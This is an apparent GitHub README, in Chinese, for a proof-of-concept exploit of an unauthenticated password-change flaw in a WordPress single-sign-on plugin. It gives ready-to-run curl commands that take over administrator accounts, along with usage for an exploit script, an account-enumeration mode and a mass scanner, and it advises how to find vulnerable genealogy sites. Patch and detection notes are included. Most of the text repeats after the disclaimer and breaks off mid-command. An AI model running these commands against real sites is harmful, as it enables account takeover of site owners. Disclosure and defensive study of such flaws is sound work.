Instructor-Admin/CVE-2026-15964-PoC
GitHub: Instructor-Admin/CVE-2026-15964-PoC
针对 WordPress 插件 Single Sign On For TNG 未验证密码修改漏洞(CVE-2026-15964)的 PoC 利用脚本与非破坏性批量检查工具。
Stars: 0 | Forks: 0
# CVE-2026-15964 - Single Sign On For TNG <= 2.0.0
**通过未验证的密码修改进行未经身份验证的特权提升**
存在于 WordPress 插件 **Single Sign On For TNG** 中。
| | |
|---|---|
| 严重程度 | **严重 (9.8)** - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-620 (未验证的密码修改) |
| 受影响版本 | 插件版本 **1.0.0 至 2.0.0** |
| 修复版本 | **2.1.0** (发布于 2026-07-27) |
| 发布日期 | 2026-08-01 |
| 所需身份验证 | **无** (`wp_ajax_nopriv_ssoprocess_ajax`) |
| 影响 | 修改**任何** WordPress 账户的密码,包括管理员 - 完全接管网站 |
| 插件 | https://wordpress.org/plugins/single-sign-on-for-tng/ |
## TL;DR
任何未经身份验证的访问者都可以修改运行 2.0.0 或更早版本插件的网站上
任何账户的密码。只需两个 HTTP 请求:
1. GET 请求主页并从 `SSOPWDREQUIREMENT` JavaScript 对象中复制 nonce。
2. 将其 POST 到 `admin-ajax.php`,带上 `operation=setnewpassword`、受害者邮箱以及
新密码。
剩下的交由 WordPress 核心的 `reset_password()` 处理。无需 token,无需邮件
确认链接,也不进行任何权限检查。之后即可作为管理员登录。
```
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&email=admin@victim.tld&password=Pwned!@2026x"
# -> {"success":true}
```
## 漏洞原理
### 处理程序为未经身份验证的用户注册
在 `single-sign-on-for-tng.php` (v2.0.0) 中:
```
add_action('wp_ajax_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 69
```
`wp_ajax_nopriv_*` 意味着该处理程序在完全没有 session 的情况下也可以被访问。
### 唯一的防护是该插件提供给每个访问者的 nonce
`load_scripts()` 挂载在 `wp_enqueue_scripts` 上,因此在**每个**前端
页面,插件都会将以下内容打印到 HTML 中:
```
wp_localize_script('general_script','SSOPWDREQUIREMENT',
array('passwordspec'=>PASSWORDSPEC,
'url'=>admin_url('admin-ajax.php'),
'nonce'=>wp_create_nonce("ssoajaxnonce"))); // line 96
```
渲染结果为:
```
```
并且处理程序像这样验证它:
```
public function ssoprocess_ajax() {
global $wpdb;
check_ajax_referer('ssoajaxnonce', 'nonce'); // line 104
...
```
问题在于:WordPress 通过 `wp_create_nonce($action)` 计算 nonce 时,使用了
`uid` 和 session token。对于**已登出**的访问者,这两者分别是 `0` 和一个
空字符串,这意味着**每个匿名访问者都会获得完全相同的 nonce**。
它只每 12 小时更新一次(即 nonce tick)。因此,插件为任何访问者打印的 nonce 对
攻击者同样有效——根本无需窃取任何机密,因为它本身就发布在页面上。
### 接着就是毫无任何所有权证明的实际修改
```
switch ($op) {
case 'setnewpassword':
if (!isset($post['email']) || !isset($post['password'])) { ... }
$email = wp_unslash($post['email']);
$user = get_user_by('email', $email);
if ($user !== false) {
reset_password($user, $post['password']); // line 120
...
wp_send_json_success(array('success'=>true));
}
else
wp_send_json_error(array('success'=>false));
break;
```
`reset_password()` 是一个 WordPress 核心函数。它会设置新的密码哈希值,让
受害者登出所有其他 session,并触发 `password_reset` /
`after_password_reset` 动作。此处调用该函数时,没有任何证据表明
调用者是该账户的所有者。
另外两个值得了解的点:
* **此路径上没有服务器端的密码强度检查。** 插件的
`MINIMUM_PASSWORD_LENGTH` / `PASSWORDSPEC` 规则仅在针对 Forminator 表单的
`validate_form()` 中执行,从未应用于此处。任何密码都会被接受。
* **账户枚举。** `{"success":true}` 和 `{"success":false}` 会告诉你
某个邮箱是否已注册。检查工具的 `--enum-only` 模式利用了这一点。
* **同一函数中的额外漏洞:** `operation=set_tzoffset` 会在未经身份验证的情况下调用
`update_option('localtzoffset', $post['timezoneoffset'])`。
虽然不能直接用于 RCE,但这属于未经身份验证的选项写入,
值得在报告中提及。
## 2.1.0 版本中的改动
对比 2.0.0 和 2.1.0 的差异让修复方案一目了然(并证实了该漏洞):
```
case 'setnewpassword':
+ $timeout = intval($post['timeout']);
+ if (time() > $timeout) {
+ // clears custom_recovery_token / _expiration / _nonce user meta
+ wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+ return;
+ }
$email = wp_unslash($post['email']);
$user = get_user_by('email',$email);
if ($user !== false) {
reset_password($user,$post['password']);
```
此外,在 `newpasswordform()` 中:
```
+ if (empty($_GET['uid']))
+ return ... "An unexpected error occurred." ...
+ $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+ // The nonce is checked here
+ if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+ return ... "This recovery link is no longer valid." ...
```
因此在 2.1.0 中,流程变为:真实的恢复请求会在用户 meta 中存储针对单个用户的
`custom_recovery_token` + `custom_recovery_nonce`,恢复
链接会携带用户 ID,表单会验证这两者,并且一旦恢复时间窗口(`timeout`)过期,AJAX 处理程序就会拒绝
执行。无法生成有效恢复记录的攻击者,再也无法驱动
`setnewpassword` 了。
## 复现(手动)
**第 1 步 - 抓取 nonce**
```
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"
```
**第 2 步 - 修改密码**
```
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-H "X-Requested-With: XMLHttpRequest" \
-d "action=ssoprocess_ajax&nonce=&operation=setnewpassword&email=admin@victim.tld&password=Pwned!@2026x"
```
在易受攻击的安装环境中的预期响应:`{"success":true}`
**第 3 步 - 登录**
```
curl -sk -X POST https://target/wp-login.php \
-d "log=admin@victim.tld&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"
```
## PoC: `CVE-2026-15964.py`
针对单个站点的 exploit。包含非破坏性模式。
```
# one-shot: 抓取 nonce + 更改管理员密码
python3 CVE-2026-15964.py -u https://target -e admin@victim.tld -p 'NewPass!2026x'
# 仅抓取 nonce
python3 CVE-2026-15964.py -u https://target --scrape-only
# 复用你已有的 nonce
python3 CVE-2026-15964.py -u https://target -e admin@victim.tld -p 'NewPass!2026x' -n 9c0de6ab12
# 账户存在性 oracle (未设置密码)
python3 CVE-2026-15964.py -u https://target -e admin@victim.tld --enum-only
# 完全被动: plugin 是否已安装?(仅 GET)
python3 CVE-2026-15964.py -u https://target --check
```
## 检查工具: `CVE-2026-15964-checker.py`
用于您自己的站点列表的批量扫描器。**设计上为非破坏性**——
它绝不会修改密码。
它如何对每个站点进行分类:
1. **HTML 指纹** - 主页中的 `SSOPWDREQUIREMENT` 对象或
`/wp-content/plugins/single-sign-on-for-tng/` 资源路径。
2. **版本** - `readme.txt` 中的 `Stable tag:` 行。`<= 2.0.0` 为易受攻击版本,
`>= 2.1.0` 为已修补版本。这是该 CVE 的权威说明。
3. **行为探测** (`--probe`,仅在无法读取版本时触发) - 使用一个
**不存在**的邮箱发送 `operation=setnewpassword` 请求。2.0.0 的安装环境
会回复不带任何错误信息的 `{"success":false}`;而 2.1.0 的安装环境
会回复带有“提交新密码的时间已过期”的提示信息。由于不会发送真实的邮件,
发送真实邮箱实际上会导致密码被重置。
```
# 扫描包含 URL 的文件, 使用安全探测和 20 个 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv
# 或者直接处理少量 URL
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com
```
示例输出:
```
URL VERDICT VER NONCE DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com VULNERABLE 2.0.0 yes readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com PATCHED 2.1.0 yes readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com PLUGIN_NOT_FOUND - -
Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1
```
判定结果:`VULNERABLE`(易受攻击) / `PATCHED`(已修补) / `PLUGIN_NOT_FOUND`(未找到插件) / `NOT_WORDPRESS`(非 WordPress) /
`UNKNOWN`(未知) / `ERROR`(错误)。`UNKNOWN` 通常意味着存在 WAF、激进的 CDN 缓存或
该站点屏蔽了 readme——请手动检查这些站点。
## 在本地测试工具
`tests/mock_server.py` 模拟了六种情况(基于版本判定易受攻击、
基于版本判定已修补、基于探测判定易受攻击、基于探测判定已修补、未安装插件的 WordPress、
非 WordPress)。这是在将其指向任何真实环境之前,
验证检查工具逻辑的方式:
```
# terminal 1
python3 tests/mock_server.py 8081 vuln_readme
# terminal 2
python3 CVE-2026-15964-checker.py -u http://127.0.0.1:8081 --probe
# -> VULNERABLE
```
`pip install -r requirements.txt` 会为您安装唯一的依赖项 (`requests`)。
## 实地说明
提供真实的背景,因为这会影响您的使用方式。
* 此插件针对的是 **TNG**(The Next Generation of Genealogy Sitebuilding),
即业余家谱网站。这是一个非常小的生态系统:在 wordpress.org 上整个生命周期的下载量大约只有 1,600 次,
活跃安装量被隐藏(< 10),首次发布于 2024 年 10 月。
* 由于 2.1.0 版本直到 2026-07-27 才发布,绝大多数
下载的都是存在漏洞的版本。如果您发现了安装此插件的网站,那它极有可能
仍然存在漏洞。
* 发现目标是难点。该插件在 Shodan 的索引中
没有留下任何痕迹(我检查了所有能想到的指纹——结果为零),甚至
对 Shodan 返回的前 1,000 个 WordPress 主机进行指纹识别也没有发现
任何安装实例。您最好的信息来源是:Google 搜索 `inurl:"single-sign-on-for-tng"`,
在对完整页面源码进行索引的搜索引擎(PublicWWW, Censys, FOFA)中搜索
`"SSOPWDREQUIREMENT"`,以及 TNG 社区本身
(tngsitebuilding.com,家谱论坛)。
* 在真实的家谱网站上,检查工具的 `UNKNOWN` 桶通常会比较大——
因为许多网站运行在激进的缓存机制背后,或者屏蔽了
`readme.txt`。不要将其视为“没有漏洞”;请手动检查。
## 检测与补救
* 更新至 **2.1.0**(或彻底移除该插件)。
* WAF 规则:拒绝来自未通过身份验证 session 的 `action=ssoprocess_ajax` 的
`admin-ajax.php` POST 请求;对来自匿名源的 `setnewpassword` 操作进行
报警。
* 监控 `wp_users.user_pass` 的哈希值更改以及 `password_reset` /
`after_password_reset` 动作;密切关注在密码更改后
立即发生的 admin 登录行为。
* 将 `ssoajaxnonce` 视为公开信息——因为事实一直如此。
## 参考
* https://www.cve.org/CVERecord?id=CVE-2026-15964
* https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-15964
* https://www.wordfence.com/threat-intel/vulnerabilities/id/1d8d393e-764c-491d-8afb-7d4f8d0c387a?source=cve
* 易受攻击的源码 (2.0.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.0.0/single-sign-on-for-tng.php
* 已修补的源码 (2.1.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.1.0/single-sign-on-for-tng.php
* https://plugins.trac.wordpress.org/changeset?reponame=&old=3624827%40single-sign-on-for-tng&new=3624827%40single-sign-on-for-tng
## 免责声明
本仓库仅用于**授权的安全测试和教育目的**。您必须对
自己的行为负责。请勿在您不拥有或未获得明确书面测试许可的
系统上运行这些工具。在大多数司法管辖区,未经授权访问计算机系统
均构成犯罪。

**通过未验证的密码修改进行未经身份验证的特权提升**
存在于 WordPress 插件 **Single Sign On For TNG** 中。
| | |
|---|---|
| 严重程度 | **严重 (9.8)** - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-620 (未验证的密码修改) |
| 受影响版本 | 插件版本 **1.0.0 至 2.0.0** |
| 修复版本 | **2.1.0** (发布于 2026-07-27) |
| 发布日期 | 2026-08-01 |
| 所需身份验证 | **无** (`wp_ajax_nopriv_ssoprocess_ajax`) |
| 影响 | 修改**任何** WordPress 账户的密码,包括管理员 - 完全接管网站 |
| 插件 | https://wordpress.org/plugins/single-sign-on-for-tng/ |
## TL;DR
任何未经身份验证的访问者都可以修改运行 2.0.0 或更早版本插件的网站上
任何账户的密码。只需两个 HTTP 请求:
1. GET 请求主页并从 `SSOPWDREQUIREMENT` JavaScript 对象中复制 nonce。
2. 将其 POST 到 `admin-ajax.php`,带上 `operation=setnewpassword`、受害者邮箱以及
新密码。
剩下的交由 WordPress 核心的 `reset_password()` 处理。无需 token,无需邮件
确认链接,也不进行任何权限检查。之后即可作为管理员登录。
```
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&email=admin@victim.tld&password=Pwned!@2026x"
# -> {"success":true}
```
## 漏洞原理
### 处理程序为未经身份验证的用户注册
在 `single-sign-on-for-tng.php` (v2.0.0) 中:
```
add_action('wp_ajax_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 69
```
`wp_ajax_nopriv_*` 意味着该处理程序在完全没有 session 的情况下也可以被访问。
### 唯一的防护是该插件提供给每个访问者的 nonce
`load_scripts()` 挂载在 `wp_enqueue_scripts` 上,因此在**每个**前端
页面,插件都会将以下内容打印到 HTML 中:
```
wp_localize_script('general_script','SSOPWDREQUIREMENT',
array('passwordspec'=>PASSWORDSPEC,
'url'=>admin_url('admin-ajax.php'),
'nonce'=>wp_create_nonce("ssoajaxnonce"))); // line 96
```
渲染结果为:
```
```
并且处理程序像这样验证它:
```
public function ssoprocess_ajax() {
global $wpdb;
check_ajax_referer('ssoajaxnonce', 'nonce'); // line 104
...
```
问题在于:WordPress 通过 `wp_create_nonce($action)` 计算 nonce 时,使用了
`uid` 和 session token。对于**已登出**的访问者,这两者分别是 `0` 和一个
空字符串,这意味着**每个匿名访问者都会获得完全相同的 nonce**。
它只每 12 小时更新一次(即 nonce tick)。因此,插件为任何访问者打印的 nonce 对
攻击者同样有效——根本无需窃取任何机密,因为它本身就发布在页面上。
### 接着就是毫无任何所有权证明的实际修改
```
switch ($op) {
case 'setnewpassword':
if (!isset($post['email']) || !isset($post['password'])) { ... }
$email = wp_unslash($post['email']);
$user = get_user_by('email', $email);
if ($user !== false) {
reset_password($user, $post['password']); // line 120
...
wp_send_json_success(array('success'=>true));
}
else
wp_send_json_error(array('success'=>false));
break;
```
`reset_password()` 是一个 WordPress 核心函数。它会设置新的密码哈希值,让
受害者登出所有其他 session,并触发 `password_reset` /
`after_password_reset` 动作。此处调用该函数时,没有任何证据表明
调用者是该账户的所有者。
另外两个值得了解的点:
* **此路径上没有服务器端的密码强度检查。** 插件的
`MINIMUM_PASSWORD_LENGTH` / `PASSWORDSPEC` 规则仅在针对 Forminator 表单的
`validate_form()` 中执行,从未应用于此处。任何密码都会被接受。
* **账户枚举。** `{"success":true}` 和 `{"success":false}` 会告诉你
某个邮箱是否已注册。检查工具的 `--enum-only` 模式利用了这一点。
* **同一函数中的额外漏洞:** `operation=set_tzoffset` 会在未经身份验证的情况下调用
`update_option('localtzoffset', $post['timezoneoffset'])`。
虽然不能直接用于 RCE,但这属于未经身份验证的选项写入,
值得在报告中提及。
## 2.1.0 版本中的改动
对比 2.0.0 和 2.1.0 的差异让修复方案一目了然(并证实了该漏洞):
```
case 'setnewpassword':
+ $timeout = intval($post['timeout']);
+ if (time() > $timeout) {
+ // clears custom_recovery_token / _expiration / _nonce user meta
+ wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+ return;
+ }
$email = wp_unslash($post['email']);
$user = get_user_by('email',$email);
if ($user !== false) {
reset_password($user,$post['password']);
```
此外,在 `newpasswordform()` 中:
```
+ if (empty($_GET['uid']))
+ return ... "An unexpected error occurred." ...
+ $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+ // The nonce is checked here
+ if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+ return ... "This recovery link is no longer valid." ...
```
因此在 2.1.0 中,流程变为:真实的恢复请求会在用户 meta 中存储针对单个用户的
`custom_recovery_token` + `custom_recovery_nonce`,恢复
链接会携带用户 ID,表单会验证这两者,并且一旦恢复时间窗口(`timeout`)过期,AJAX 处理程序就会拒绝
执行。无法生成有效恢复记录的攻击者,再也无法驱动
`setnewpassword` 了。
## 复现(手动)
**第 1 步 - 抓取 nonce**
```
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"
```
**第 2 步 - 修改密码**
```
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-H "X-Requested-With: XMLHttpRequest" \
-d "action=ssoprocess_ajax&nonce=标签:Maven, PoC, StruQ, WordPress, 协议分析, 安全漏洞, 暴力破解, 权限提升, 漏洞验证, 逆向工具